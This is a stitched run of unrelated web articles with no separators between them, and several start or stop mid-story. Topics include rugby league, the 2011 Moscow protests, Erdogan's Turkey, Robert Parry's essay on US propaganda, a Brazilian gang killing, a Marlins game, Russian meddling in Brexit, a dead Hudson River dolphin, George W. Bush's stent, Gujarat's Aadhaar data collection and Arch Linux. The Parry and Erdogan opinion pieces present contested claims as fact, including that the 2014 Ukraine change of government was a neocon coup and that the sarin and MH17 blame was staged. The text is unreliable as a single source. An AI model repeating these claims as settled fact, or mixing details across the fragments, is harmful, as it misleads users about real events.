Melbourne will also likely reach that mark next year with Cameron Smith and Billy Slater.
However' the Sharks' success, along with performance manager Andrew Gray, have been credited with prolonging the veterans' careers.
"We've been doing a fair bit of winning over the past 18 months so it makes it a hell of a lot happier place to be," Heighington said.
He has played 310 games since debuting in 2003 at the Wests Tigers, claiming premierships in 2005 and 2016.
He's also played four Tests for England but has previously ruled out moving to the Super League.
Eyewitnesses posted reports on social networking sites of buses filled with military personnel arriving in the center of the capital, Ria Novosti news agency reported.
Up to 4,000 troops and police were deployed in Moscow, a city police spokesman told Agence France Presse.
Security forces will remain on heightened alert across the country until all votes have been counted, Interior Ministry spokesman, Oleg Yelnikov, told AFP. The authorities are trying to "ensure the security of the citizens," said another spokesman, Vasily Panchenkov.
At least 300 protesters were arrested in Moscow Monday night as they demonstrated against alleged fraud in Russia's parliamentary elections, according to Ria Novosti. Another 120 were detained at a similar rally in St. Petersburg.
Some of those arrested, including anti-corruption blogger Alexei Navalny and opposition activist Ilya Yashin, were due to appear in court Tuesday. They face 15 days in jail for refusing to obey police orders.
Several thousand people took part in Monday night's rally in central Moscow. The figure police gave was 2,000, but the Moscow Times said its reporters had seen between 5,000 and 7,000 protesters.
According to the Guardian's correspondent, the crowd had been attending an opposition event sanctioned by the city authorities, but trouble started when they deviated from the program:
When they attempted to march to Lubyanka, the headquarters of the feared Federal Security Service, they were met by baton-wielding riot police who beat some protesters over the head and dragged others into waiting lorries.
This video of the rally shows a large crowd of people marching and chanting slogans. Protesters shouted "We need new elections," "Russia without Putin" and "Revolution," according to the Moscow Times.
More from GlobalPost: Big election losses, but Russia ruling party keeps majority
Supporters of the ruling United Russia party staged rival demonstrations in Moscow Tuesday, defending the election results against accusations of fraud.
According to police, some 15,000 members of the pro-Kremlin youth movement Nashi attended an event Tuesday afternoon, while 10,000 were expected at a so-called "Clean Victory" rally Tuesday night.
Opposition activists are calling for a second rally of their own Tuesday night via social networking sites, the BBC reported.
International observers have questioned the official election results, which gave United Russia a narrow majority. The Organisation for Security and Co-operation in Europe (OSCE) said its observers had reported "serious indication of ballot box stuffing," while US Secretary of State Hillary Clinton said Washington had "serious concerns" about the vote and called for a full investigation.
President Dmitry Medvedev had dismissed the allegations, saying that the elections were "absolutely fair and just."
It appears that the US, Britain and other EU countries prefer to deal with dictators and brutal regimes because such rulers rarely leave anything to chance. In a finance-driven climate, where billion-dollar oil and arms deals speak louder than the uncertainty of the ballot box, the West prefers the sort of control that can be guaranteed through fear and intimidation and the barrel of a gun. If this wasn’t the case and human rights dictated ethical foreign policies then the West would long ago have reconsidered its close relationships with countries like Saudi Arabia, Egypt, Israel and the United Arab Emirates.
Turkey does not fall into any of these categories and has, for more than a decade, presented the West with a problem; the Justice and Development Party (AKP) under the leadership of Recep Tayyip Erdogan cannot, in their eyes, be relied upon to be compliant and toe the Western line, even though it is a member of NATO. More annoyingly, under his leadership — first as prime minister and latterly as president — Turkey has emerged as a regional powerbroker because of the strategic and political influence it wields in a volatile region where few Arab leaders are prepared to challenge Western hegemony and opinion.
For example, the vocal support that Erdogan has given to Palestine is extremely irritating to the West and his war of words with various Israeli leaders has been unrestrained. That he has exactly the same views as them — we know this thanks to the infamous microphone malfunction between US President Barak Obama and former French President Nicholas Sarkozy — matters not. Officially, criticism of Israel by Western leaders is strictly forbidden under a bizarre form of self-censorship more akin to those inside the Supreme Peoples’ Assembly in Pyongyang.
Erdogan is thus Israel’s worst nightmare. He kowtows neither to East nor West and is democratically elected. His unprecedented successes in previous elections have been exactly that, although “unprecedented” does not mean fixed, otherwise he would have enjoyed another landslide this time around. This was not a 99.9-per-cent-of-the-votes-for-the-Great-Leader type election, by any means.
The Palestinian issue is not only key to the Arab world, it is also central to Turkey’s popularity and has ensured an almost rock star status for Erdogan in the region, especially since his performance on a world stage in 2008. That’s when he did something that most Arab leaders could only dream of doing; showing his outrage over Israel’s brutal war on Gaza, he stormed off the stage at a debate in Davos, telling fellow panellist and Israel’s then President Shimon Peres, “You know how to kill people.”
While the Hosni Mubarak regime in Egypt continued to enforce the Israeli siege on Gaza, Erdogan fired off more of his sharp criticism of the blockade and Israel’s subsequent storming of a Gaza-bound aid flotilla in which nine Turkish aid volunteers were murdered by Israeli commandos. If Western leaders think Erdogan has now been muzzled after the AKP failed to gain the majority needed to form a government on its own (it was 18 seats short of that target) they will be mistaken; there could be some more embarrassments in store for those who tread the international stage.
The main Turkish opposition leader, Kemal Kılıçdaroğlu, might be poles apart from Erdogan on some issues but the two share the same view over the death sentence on Egypt’s first democratically elected President, Mohamed Morsi. He was ousted in July 2013 by a military coup led by the latest Egyptian President, Abdel Fattah Al-Sisi. Kılıçdaroğlu and Erdogan have both denounced “political execution decisions” and criticised international meddling in the internal affairs of countries after Morsi and more than 100 Muslim Brotherhood supporters were sentenced to death by a Cairo court last month. Al-Sisi’s Western backers were, at the time, predictably silent that the only freely-elected president in the history of Egypt had been sentenced to death. Their continued silence today speaks volumes about their true position on democracy in the Middle East.
Erdogan now has 45 days in which to form a government after losing his majority for the first time in 13 years. However, securing 41 per cent of the Turkish peoples’ mandate is no mean feat when you consider that the newly-elected British Prime Minister David Cameron got only 0.8 per cent more from the British people.
It is also worth noting that just over 66 per cent of British voters bothered to vote last month in the General Election while only 58.2 per cent of Americans went to the ballot boxes for the 2012 US presidential election. When you consider that more than 86 per cent of those eligible to vote in Turkey went out and voted, you can see why the biggest winner of the day was the ballot box. Western leaders, please take note.
By Robert Parry
In this age of pervasive media, the primary method of social control is through the creation of narratives delivered to the public through newspapers, TV, radio, computers, cell phones and any other gadget that can convey information. This reality has given rise to an obsession among the power elite to control as much of this messaging as possible.
So, regarding U.S. relations toward the world, we see the State Department, the White House, Pentagon, NATO and other agencies pushing various narratives to sell the American people and other populations on how they should view U.S. policies, rivals and allies. The current hot phrase for this practice is “strategic communications” or Stratcom, which blends psychological operations, propaganda and P.R. into one mind-bending smoothie.
I have been following this process since the early 1980s when the Reagan administration sought to override “the Vietnam Syndrome,” a public aversion to foreign military interventions that followed the Vietnam War. To get Americans to “kick” this syndrome, Reagan’s team developed “themes” about overseas events that would push American “hot buttons.”
Tapping into the Central Intelligence Agency’s experience in psy-ops targeted at foreign audiences, President Ronald Reagan and CIA Director William J. Casey assembled a skilled team inside the White House led by CIA propaganda specialist Walter Raymond Jr.
From his new perch on the National Security Council staff, Raymond oversaw inter-agency task forces to sell interventionist policies in Central America and other trouble spots. The game, as Raymond explained it in numerous memos to his underlings, was to glue black hats on adversaries and white hats on allies, whatever the truth really was.
The fact that many of the U.S.-backed forces from the Nicaraguan Contras to the Guatemalan military were little more than corrupt death squads couldn’t be true, at least according to psy-ops doctrine. They had to be presented to the American public as wearing white hats. Thus, the Contras became the “moral equals of our Founding Fathers” and Guatemala’s murderous leader Efrain Rios Montt was getting a “bum rap” on human rights , according to the words scripted for President Reagan.
The scheme also required that anyone say, a journalist, a human rights activist or a congressional investigator who contradicted this white-hat mandate must be discredited, marginalized or destroyed, a routine of killing any honest messenger.
But it turned out that the most effective part of this propaganda strategy was to glue black hats on adversaries. Since nearly all foreign leaders have serious flaws, it proved much easier to demonize them and work the American people into war frenzies than it was to persuade the public that Washington’s favored foreign leaders were actually paragons of virtue.
An Unflattering Hat
Once the black hat was jammed on a foreign leader’s head, you could say whatever you wanted about him and disparage any American who questioned the extreme depiction as a “fill-in-the-blank apologist” or a “stooge” or some other ugly identifier that would either silence the dissenter or place him or her outside the bounds of acceptable debate.
Given the careerist conformity of Washington, nearly everyone fell into line, including news outlets and human rights groups. If you wanted to retain your “respectability” and “influence,” you agreed with the conventional wisdom. So, with every foreign controversy, we got a new “group think” about the new “enemy.” The permissible boundary of each debate was set mostly by the neoconservatives and their “liberal interventionist” sidekicks.
That this conformity has not served American national interests is obvious. Take, for example, the disastrous Iraq War, which has cost the U.S. taxpayers an estimated $1 trillion, led to the deaths of some 4,500 American soldiers, killed hundreds of thousands of Iraqis, and unleashed chaos across the strategic Middle East and now into Europe.
Most Americans now agree that the Iraq War “wasn’t worth it.” But it turns out that Official Washington’s catastrophic “group thinks” don’t just die well-deserved deaths. Like a mutating virus, they alter shape as the outside conditions change and survive in a new form.
So, when the public caught on to the Iraq War deceptions, the neocon/liberal-hawk pundits just came up with a new theme to justify their catastrophic Iraq strategy, i.e., “the successful surge,” the dispatch of 30,000 more U.S. troops to the war zone. This theme was as bogus as the WMD lies but the upbeat storyline was embraced as the new “group think” in 2007-2008.
The “successful surge” was a myth, in part, because many of its alleged “accomplishments” actually predated the “surge.” The program to pay off Sunnis to stop shooting at Americans and the killing of “Al Qaeda in Iraq” leader Abu Musab al-Zarqawi both occurred in 2006, before the surge even began. And its principal goal of resolving sectarian grievances between Sunni and Shiite was never accomplished.
But Official Washington wrapped the “surge” in the bloody flag of “honoring the troops,” who were credited with eventually reducing the level of Iraqi violence by carrying out the “heroic” surge strategy as ordered by President Bush and devised by the neocons. Anyone who noted the holes in this story was dismissed as disrespecting “the troops.”
The cruel irony was that the neocon pundits, who had promoted the Iraq War and then covered their failure by hailing the “surge,” had little or no regard for “the troops” who mostly came from lower socio-economic classes and were largely abstractions to the well-dressed, well-schooled and well-paid talking heads who populate the think tanks and op-ed pages.
Safely ensconced behind the “successful surge” myth, the Iraq War devotees largely escaped any accountability for the chaos and bloodshed they helped cause. Thus, the same “smart people” were in place for the Obama presidency and just as ready to buy into new interventionist “group thinks” gluing black hats on old and new adversaries, such as Libya’s Muammar Gaddafi, Syria’s Bashar al-Assad and, most significantly, Russia’s Vladimir Putin.
Causing Chaos
In 2011, led this time by the liberal interventionists the likes of Secretary of State Hillary Clinton and White House aide Samantha Power the U.S. military and some NATO allies took aim at Libya, scoffing at Gaddafi’s claim that his country was threatened by Islamic terrorists. It was not until Gaddafi’s military was destroyed by Western airstrikes (and he was tortured and murdered) that it became clear that he wasn’t entirely wrong about the Islamic extremists.
The jihadists seized large swaths of Libyan territory, killed the U.S. ambassador and three other diplomatic personnel in Benghazi, and forced the closing of U.S. and other Western embassies in Tripoli. For good measure, Islamic State terrorists forced captured Coptic Christians to kneel on a Libyan beach before beheading them.
Amid this state of anarchy, Libya has been the source of hundreds of thousands of migrants trying to reach Europe by boat. Thousands have drowned in the Mediterranean. But, again, the leading U.S. interventionists faced no accountability. Clinton is the frontrunner for the Democratic presidential nomination, and Power is now U.S. Ambassador to the United Nations.
Also, in 2011, a similar uprising occurred in Syria against the secular regime headed by President Assad, with nearly identical one-sided reporting about the “white-hatted” opposition and the “black-hatted” government. Though many protesters indeed appear to have been well-meaning opponents of Assad, Sunni terrorists penetrated the opposition from the beginning.
This gray reality was almost completely ignored in the Western press, which almost universally denounced the government when it retaliated against opposition forces for killing police and soldiers. The West depicted the government response as unprovoked attacks on “peaceful protesters.” [See Consortiumnews.com’s “ Hidden Origins of Syria’s Civil War. ”]
This one-sided narrative nearly brought the U.S. military to the point of another intervention after Aug. 21, 2013, when a mysterious sarin gas attack killed hundreds in a suburb of Damascus. Official Washington’s neocons and the pro-interventionists in the State Department immediately blamed Assad’s forces for the atrocity and demanded a bombing campaign.
But some U.S. intelligence analysts suspected a “false-flag” provocation by Islamic terrorists seeking to get the U.S. air force to destroy Assad’s army for them. At the last minute, President Obama steered away from that cliff and with the help of President Putin got Assad to surrender Syria’s chemical arsenal, while Assad continued to deny a role in the sarin attack. [See Consortiumnews.com’s “ The Collapsing Syria-Sarin Case. ”]
Upset over Iran
Putin also assisted Obama on another front with another demonized “enemy,” Iran. In late 2013, the two leaders collaborated in getting Iran to make significant concessions on its nuclear program, clearing the way for negotiations that eventually led to stringent international controls.
These two diplomatic initiatives alarmed the neocons and their right-wing Israeli friends. Since the mid-1990s, the neocons had worked closely with Prime Minister Benjamin Netanyahu in plotting a “regime change” strategy for countries that were viewed as troublesome to Israel, with Iraq, Syria and Iran topping the list.
Putin’s interference with that agenda by preventing U.S. bombing campaigns against Syria and Iran was viewed as a threat to this longstanding Israeli/neocon strategy. There was also fear that the Obama-Putin teamwork could lead to renewed pressure on Israel to recognize a Palestinian state. So, that relationship had to be blown up.
The detonation occurred in early 2014 when a neocon-orchestrated coup overthrew elected Ukrainian President Viktor Yanukovych and replaced him with a fiercely anti-Russian regime which included neo-Nazi and other ultra-nationalist elements as well as free-market extremists.
Ukraine had been on the neocon radar at least since September 2013, just after Putin undercut plans for bombing Syria. Neocon Carl Gershman, president of the U.S.-government-funded National Endowment for Democracy, wrote a Washington Post op-ed deeming Ukraine “the biggest prize” and a key steppingstone toward another regime change in Moscow, removing the troublesome Putin.
Gershman’s op-ed was followed by prominent neocons, such as Sen. John McCain and Assistant Secretary of State for European Affairs Victoria Nuland, urging on violent protests that involved firebombing the police. But the State Department and the mainstream media glued white hats on the Maidan protesters and black hats on the police and the government.
Then, on Feb. 20, 2014, a mysterious sniper attack killed both police and demonstrators, leading to more clashes and the deaths of scores of people. The U.S. government and press corps blamed Yanukovych and despite his signing an agreement for early elections on Feb. 21 the Maidan “self-defense forces,” spearheaded by neo-Nazi goons, overran government buildings on Feb. 22 and installed a coup regime, quickly recognized by the State Department as “legitimate.”
Though the fault for the Feb. 20 sniper attack was never resolved the new Ukrainian regime showed little interest in getting to the bottom of it other independent investigations pointed toward a provocation by right-wing gunmen who targeted police and protesters with the goal of deepening the crisis and blaming Yanukovych, which is exactly what happened.
These field reports, including one from the BBC , indicated that the snipers likely were associated with the Maidan uprising, not the Yanukovych government. [Another worthwhile documentary on this mystery is “ Maidan Massacre .”]
One-Sided Reporting
Yet, during the Ukrainian coup, The New York Times and most other mainstream media outlets played a role similar to what they had done prior to the Iraq War when they hyped false and misleading stories about WMD. By 2014, the U.S. press corps no longer seemed to even pause before undertaking its expected propaganda role.
So, after Yanukovych’s ouster, when ethnic Russians in Crimea and eastern Ukraine rose up against the new anti-Russian order in Kiev, the only acceptable frame for the U.S. media was to blame the resistance on Putin. It must be “Russian aggression” or a “Russian invasion.”
When a referendum in Crimea overwhelmingly favored secession from Ukraine and rejoining Russia, the U.S. media denounced the 96 percent vote as a “sham” imposed by Russian guns. Similarly, resistance in eastern Ukraine could not have reflected popular sentiment unless it came from mass delusions induced by “Russian propaganda.”
Meanwhile, evidence of a U.S.-backed coup, such as the intercepted phone call of a pre-coup discussion between Assistant Secretary Nuland and U.S. Ambassador Geoffrey Pyatt on how “to midwife this thing” and who to install in the new government (“Yats is the guy”), disappeared into the memory hole, not helpful for the desired narrative. [See Consortiumnews.com’s “ NYT Still Pretends No Coup in Ukraine. ”]
When Malaysia Airlines Flight 17 was shot down over eastern Ukraine on July 17, 2014, the blame machine immediately roared into gear again, accusing Putin and the ethnic Russian rebels. But some U.S. intelligence analysts reportedly saw the evidence going in a different direction, implicating a rogue element of the Ukrainian regime.
Again, the mainstream media showed little skepticism toward the official story blaming Putin, even though the U.S. government and other Western nations refused to make public any hard evidence supporting the Putin-did-it case, even now more than a year later. [See Consortiumnews.com’s “ MH-17 Mystery: A New Tonkin Gulf Case. ”]
The pattern that we have seen over and over is that once a propaganda point is scored against one of the neocon/liberal-hawk “enemies,” the failure to actually prove the allegation is not seen as suspicious, at least not inside the mainstream media, which usually just repeats the old narrative again and again, whether its casting blame on Putin for MH-17, or on Yanukovych for the sniper attack, or on Assad for the sarin gas attack.
Instead of skepticism, it’s always the same sort of “group think,” with nothing learned from the disaster of the Iraq War because there was virtually no accountability for those responsible.
Obama’s Repression
Yet, while the U.S. press corps deserves a great deal of blame for this failure to investigate important controversies independently, President Obama and his administration have been the driving force in this manipulation of public opinion over the past six-plus years. Instead of the transparent government that Obama promised, he has run one of the most opaque, if not the most secretive, administrations in American history.
Besides refusing to release the U.S. government’s evidence on pivotal events in these international crises, Obama has prosecuted more national security whistleblowers than all past presidents combined.
That repression, including a 35-year prison term for Pvt. Bradley/Chelsea Manning and the forced exile of indicted National Security Agency contractor Edward Snowden, has intimidated current intelligence analysts who know about the manipulation of public opinion but don’t dare tell the truth to reporters for fear of imprisonment.
Most of the “leaked” information that you still see in the mainstream media is what’s approved by Obama or his top aides to serve their interests. In other words, the “leaks” are part of the propaganda, made to seem more trustworthy because they’re coming from an unidentified “source” rather than a named government spokesman.
At this late stage in Obama’s presidency, his administration seems drunk on the power of “perception management” with the new hot phrase, “strategic communications” which boils psychological operations, propaganda and P.R. into one intoxicating brew.
From NATO’s Gen. Philip Breedlove to the State Department’s Under Secretary for Public Diplomacy Richard Stengel, the manipulation of information is viewed as a potent “soft power” weapon. It’s a way to isolate and damage an “enemy,” especially Russia and Putin.
This demonization of Putin makes cooperation between him and Obama difficult, such as Russia’s recent military buildup in Syria as part of a commitment to prevent a victory by the Islamic State and Al Qaeda. Though one might think that Russian help in fighting terrorism would be welcomed, Nuland’s State Department office responded with a bizarre and futile attempt to build an aerial blockade of Russian aid flying to Syria across eastern Europe.
Nuland and other neocons apparently would prefer having the black flag of Sunni terrorism flying over Damascus than to work with Putin to block such a catastrophe. The hysteria over Russia’s assistance in Syria is a textbook example of how people can begin believing their own propaganda and letting it dictate misguided actions.
On Thursday, Obama’s White House sank to a new low by having Press Secretary Josh Earnest depict Putin as “desperate” to land a meeting with Obama. Earnest then demeaned Putin’s appearance during an earlier sit-down session with Netanyahu in Moscow. “President Putin was striking a now-familiar pose of less-than-perfect posture and unbuttoned jacket and, you know, knees spread far apart to convey a particular image,’ Earnest said.
But the meeting photos actually showed both men with their suit coats open and both sitting with their legs apart at least for part of the time. Responding to Earnest’s insults, the Russians denied that Putin was “desperate” for a meeting with Obama and added that the Obama administration had proposed the meeting to coincide with Putin’s appearance at the United Nations General Assembly in New York on Monday.
“We do not refuse contacts that are proposed,” said Yuri Ushakov, a top foreign policy adviser to Putin. “We support maintaining constant dialogue at the highest level.” The Kremlin also included no insults about Obama’s appearance in the statement.
But as if signing their work, the executioners marked the bodies with a gruesome flourish. Using a knife, they carved three letters into the torsos: FDN, the initials of Familia do Norte, a drug gang battling for supremacy over the cocaine trade in the Brazilian Amazon.
With Brazil emerging as the world’s second-largest consumer of cocaine after the United States, the Amazon is gaining importance as a smuggling domain. Traffickers ferry the drug across porous borders with Peru, Colombia and Bolivia, before moving the cocaine by riverboat to the Atlantic for shipment to Europe.
From it all, Brendan Tobin of 790 The Ticket was left eating crow.
Literally.
Tobin said on his Aug. 4 show that if Christian Yelich hit 20 home runs this season, he would chow down on crow.
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Yelich hit his 20th on Wednesday, a solo shot to right.
“I’m a man of my word,” Tobin told the Miami Herald recently. “I’m not running from it. I’m going to sit down, tuck a napkin under my shirt and eat every single piece.”
Yelich’s homer was one of the few highlights for the Marlins on Wednesday.
Otherwise, they were a mess.
There was a botched pickoff attempt. There was a muffed scoop. There was an awful flip toss.
And there was one very bad pitch.
@Manny_Navarro @clarkspencer I feel like breaded is the soft way out. If I'm going down, I'm going down right — Brendan Tobin (@Brendan_Tobin) September 22, 2016
The combination of bad baseball and Nationals starter Max Scherzer doomed them.
“It’s not something you want to do with Max out there,” Marlins manager Don Mattingly said.
It all started in the third when Danny Espinosa reached on a leadoff walk and advanced to second on a Scherzer bunt. Marlins starter Tom Koehler went for a pickoff, but his throw bounced into center. Yelich reached down to get the ball but — whoops — it went underneath his glove and Espinosa scored on the two-error play.
In the fourth, Koehler hung a curve that Ryan Zimmerman launched for a three-run homer, and with Scherzer cruising the game was essentially over.
“You can’t really afford giving Max a 4-0 lead,” Koehler said. “More times than not, he gets four runs like that, he’s not going to give them back.”
But the follies didn’t stop there for the Marlins.
In the fifth, Adeiny Hechavarria’s flip toss to Dee Gordon on a routine force play sailed a good four feet over the second baseman’s head, and that runner went home two batters later on a Jayson Werth single.
Trea Turner walloped a homer off the scoreboard in left in the seventh, and it was 6-0.
The Marlins got three runs back in their half of the seventh on Yelich’s solo shot, giving him a career-high 20 homers. Derek Dietrich added a pinch-hit, two-run shot that cut the deficit to 6-3.
“It’s one of the first true pull homers we’ve seen from him,” Mattingly said. “I think it’s only going to get better. I think getting those benchmarks are, in a sense, important.”
But Fernando Rodney’s struggles continued in the eighth when he gave up a pair of runs, prompting boos from the crowd.
As for Tobin, well, it should be a meal he’ll never forget.
People would rather have their Islamophobia encouraged, what does it matter if a foreign government is meddling in our politics? James O'Brien asked.
Theresa May has accused Russia of "meddling" in elections and spreading fake news, to try to "sow discord in the West."
In a speech at the Lord Mayor's Banquet last night, the Prime Minister also said Moscow had hacked the Danish Ministry of Defence and the German parliament.
James O'Brien welcomed the Prime Minister's unexpected intervention still thought it was too little too late, that it's "not going to change anything."
He asked listeners to remember the chorus of real, human voices saying they intended to vote leave to stop Muslims coming to the country, citing Germany's acceptance of one million refugees.
But the only circumstance in which a refugee could leave Germany as a German citizen is after staying there for seven years.
James wondered how that belief became so ingrained in many people's thinking, considering it could be tens of thousands of Kremlin-backed Twitter accounts or simply "racist liars" peddling misinformation.
He said: "The Russians influenced Brexit, people don't care. People would rather have their Islamophobia indulged and inflamed by the kind of tweets that we see on a regular basis, than have their national security enshrined and ensured."
MANHATTAN — A dolphin found floating in the Hudson River last month starved to death, marine researchers said Thursday after conducting a necropsy on the animal's body.
"We basically found an emaciated dolphin with no signs of food — so the animal had not been eating," said Kim Durham, a biologist with the Riverhead Foundation for Marine Research and Preservation.
"Just an extremely emaciated animal, with not enough food to survive — if it had been eating at all."
The dolphin was found floating next to Chelsea Piers on June 21.
There wasn't any indication of trauma or extensive disease, Durham said, just a few parasites that were not out of the ordinary.
Manhattanites first spotted a dolphin swimming around the Hudson River, from Harlem to Chelsea, a few days before the dead animal was found at Pier 59.
The Riverhead Foundation could not confirm if it was the same animal due to the corpse's degradation, but said it was likely due to the rarity of dolphins swimming in the river, especially on their own.
The dolphin was kept on ice for the past few weeks until researchers had the time to perform the necropsy.
Former U.S. president George W. Bush watches before the start of the MLB American League baseball game between the Texas Rangers and the Chicago White Sox in Arlington, Texas April 30, 2013. REUTERS/Mike Stone
Doctors discovered a blockage on Monday during Bush’s annual physical at the Cooper Clinic in Dallas and recommended a stent, a wire mesh coil used to prop open arteries, a Bush spokesman said.
The former president, 67, underwent surgery on Tuesday morning at Texas Health Presbyterian Hospital and was “in high spirits, eager to return home tomorrow and resume his normal schedule on Thursday,” spokesman Freddy Ford said in a statement.
Bush never experienced any symptoms, and the blockage was detected because his physical included a stress test and electrocardiogram, according to an aide who asked not to be identified. Those results prompted a computerized tomography angiogram, which led to the discovery of the blockage, the aide said.
Bush exercised regularly during his two terms in the White House, from 2001 to 2009, preferring to run before knee pain led him to do more bicycling.
Since leaving office, Bush has kept up his exercise regimen, regularly riding his mountain bike, golfing and working out almost daily in a home gymnasium, the aide said.
“I love exercise,” Bush said in a video for Physical Fitness Month in 2007.
He has been active in recent months, dedicating his presidential library and traveling to Africa. Bush has also become an avid painter.
Several factors besides fitness influence a person’s risk of heart disease, including high blood pressure, high cholesterol, smoking, stress and family history, according to the American Heart Association.
Typically, the procedure Bush underwent involves inserting a narrow, balloon-tipped tube with the stent through a puncture in the arm or thigh and snaking it through the vascular system and into the heart.
The procedure takes about 45 minutes to an hour, and most patients go home six to eight hours after a simple case, said Dr. Annapoorna Kini, director of the cardiac catheterization laboratory at The Mount Sinai Medical Center in New York who was not involved in treating Bush.
The procedure is performed about 850,000 times a year in the United States, said Samin Sharma, another doctor at Mount Sinai.
Bush’s father, George H.W. Bush, 89, served as president from 1989 to 1993. The elder Bush spent seven weeks in a Houston hospital for bronchitis and related ailments before his release on January 14. He usually makes public appearances in a wheelchair.
The younger Bush’s presidency was shaped by the attacks of September 11, 2001. He left office in January 2009 with low public approval ratings due to the U.S. financial crisis that erupted near the end of his second term and the unpopular war in Iraq.
The Gujarat government also warned people of "penal action" if the data was not submitted, the documents said, adding chief minister Modi was appointed as the chairperson of the committee overseeing the implementation of Aadhaar.
These documents were made available to HT by Venkatesh Nayak, a Right to Information (RTI) activist and the programme coordinator of the Commonwealth Human Rights Initiative. He accessed the documents from websites of various state departments and through RTI applications.
Besides, parliamentary data shows Gujarat registered 22 million Aadhaar card holders as on December 31, 2013.
Aadhaar is an ambitious project of the UPA government to provide a unique 12-digit identity number to the citizens. The SC had recently said Aadhaar card was not mandatory for any of the governmental schemes.
When asked, a top Gujarat official said the state had implemented the scheme efficiently, but refused to comment whether more information were collected than required. "We have collected details that were required for the project."
Modi, the Bharatiya Janata Party's (BJP's) prime ministerial nominee, had recently criticised the Aadhaar scheme at an election rally in Bangalore, stressing he had warned the Congress-led United Progressive Alliance (UPA) of its faults but was ignored.
He had added the UPA had "failed to convince the Supreme Court" and thus the scheme failed.
Nayak told HT that Modi's criticism was at variance with what his government did, but pointed out there were several problems with the Aadhaar project.
"I checked how much and how often the state government under Mr Modi had opposed the rollout of Aadhaar in Gujarat."
On the other hand, BJP spokesperson Nirmala Sitaraman told HT that Aadhaar was being pushed by the Union government through an executive order and as the chief minister of Gujarat, Modi was expected to implement the programme in the state.
"But that does not mean he will not question it and underline what is wrong. If he had not implemented it in Gujarat, he would have been blamed for delaying it."
The documents said a resolution was passed by the Gujarat government's general administration department on March 23, 2010, to set up a council to implement Aadhaar. Modi was later appointed as its chairperson.
According to two resolutions passed by the general administration department on August 25, 2011, the state government had decided to seek "additional information about the residents".
These were PAN card numbers, election identity card details, ration cards, disability cards and details of LPG/PNG gas connections. The "non-inclusion" of these details, the resolutions said, "will lead to penal action".
The Aadhaar scheme only seeks proof of identity and address and collects the biometric data of the citizen.
"Aadhaar is… an attempt by the governments to collect more and more data about people without telling them how and who will use it. This is the grandest project in India of the surveillance state," Nayak said.
(With inputs from Moushumi Dasgupta)
Though the name of the site has Ubuntu in it, another distribution stole my heart many years ago: Arch Linux.
It isn’t the easiest path to a usable desktop or the best choice for those of you tempted to punch a wall if things don’t go exactly as planned, but Arch was the distribution that taught me everything from how to love tiling window managers (Awesome is, well, awesome) to the fundamentals of the init system.
This isn’t a how-to or an introduction to installing Arch for Ubuntu users, but if you’ve been curious about our friendly rolling-release neighbours, we’re here to nudge you down the path.
“That’s it! I’m switching to Arch!”
Though Arch can be the punch line of jokes in the comments section, it’s also a well-positioned choice for users with privacy concerns or power users who find the handholding in setting up their Linux desktops a less fulfilling learning experience or who just want more control.
Arch is a rolling release distribution that seeks to provide a simple, minimalist environment for Linux users to build upon with minimal complication.
But instead of diluting the essence of Arch further, you can read more about the history of Arch straight from the penguin-shaped horse’s mouth. The most important thing to keep in mind are the five principles of The Arch Way at the core of this humble distribution:
“without unnecessary additions, modifications, or complications”
Simplicity Code-correctness over convenience User-centric Openness Freedom
Whereas more beginner-friendly distros like Ubuntu, Fedora, Mint, etc. form a more-or-less complete picture – as ugly or beautiful as that picture may be to different users – distros like Arch and Gentoo piece together the edges of a jigsaw puzzle and leave the rest to you. The freedom Arch grants you to fill in the rest of the picture can be unforgiving if you’re impatient.
Is Arch easy? No. But is it simple? Yes.
Simple DIY
Simplicity doesn’t mean Arch is a barren desert that forces you to compile everything by hand or has a one-click magical solution to every problem; rather, Arch gives you one of the most up-to-date repositories of applications and libraries to piece together a veritable pick ‘n’ mix to your choosing.
If you’re after a simple desktop with a tiling window manager and no added flair, Arch is perfect for you. And if you’re after a full GNOME or KDE desktop with all the bells and whistles, Arch is perfect for you too!
Arch takes a step back from setting up a fully configured desktop and clears away a lot of the magic we take for granted when we boot straight into a slick LightDM login prompt. That means you get to go hands on with what goes into making something like GNOME tick.
As with Ubuntu, Arch has its own user package infrastructure to accommodate packages that don’t belong in the mainline repos. Instead of adding an endless list of PPAs to your sources, you’ll be installing from PKGBUILD files from the Arch User Repository (AUR). Though you can install these by hand (and by all means should to learn more about how PKGBUILDs work), a number of third-party wrappers make the process of searching and installing packages from the AUR much easier.
If you’ve been put off by the endless lists of PPAs just to get a handful of utilities, the AUR is sure to please. Everything from Chrome Beta and Dev releases to the latest GNOME Maps built from a checkout of the git repo are available to install – even Unity! The only downside is that most packages will require compilation – barring those like Chrome that are only available as binaries – but when AUR packages get popular enough, they move up to the community repo, where prebuilt binaries are available to all Arch users by default.
A Glimpse at the Future
Being a rolling release distribution has a lot of advantages, not least of which are the quick updates to popular packages. The Arch maintainers and community keep packages up to date at a pace seemingly unmatched by any other distro.
This can be fairly intimidating if you forget to update for a month, but getting the latest GNOME and KDE releases just days or weeks after they land – and without a sea of experimental or buggy PPAs to boot – is one heck of a boon.
Get the latest GNOME and KDE releases just days or weeks after they land without a sea of experimental or buggy PPAs.
If you’re wanting to use Arch for your server, having packages that always keep pace with upstream may very well break something along the line. You can always hold back troublesome packages temporarily – whether by hand or through a configuration management tool like Puppet or Salt – until you can upgrade, but this won’t help you if security updates are only available against the latest version in the Arch repos.
Having Ubuntu LTS releases or official PPAs like PostgreSQL’s that can keep older versions around whilst still delivering security updates is probably better if you’re in this situation or don’t have time to keep up with Arch’s fire hose of updates.
Those potential issues aside, Arch also made a particular fundamental choice not too long ago that’ll be making its way to Ubuntu in the future: systemd. Mark Shuttleworth announced Ubuntu’s change of heart after Debian finally opted to replace sysvinit with systemd, but there’s no reason to wait to learn more about the increasingly ubiquitous init replacement or start porting your handcrafted Upstart scripts.
Learning From Your Mistakes
Part of any learning experience is going down a few dead ends and chasing the wrong problems until you meander towards what works. In my years of going down the same paths to partitioning nightmares, Arch has been the best distro for learning about where I went wrong and how to get things working again (or less broken anyway).
Arch’s simplicity doesn’t just help when you’re looking to build; it helps when you’re looking to dissect. With fewer moving parts, you’ll have fewer default packages to get in the way of your own packages and fewer system services to wade through to find out just what broke your Awesome desktop.
So if the downsides look more like speed bumps and Arch is starting to look like your Shangri-La, you’ll need one resource to help you in your learning experience: the Arch Wiki.
The Arch Wiki is hands down the best guide to all things Linux
The Arch Wiki is hands down the best guide to all things Linux, whether you’re running Arch or Ubuntu or any other Linux distribution.
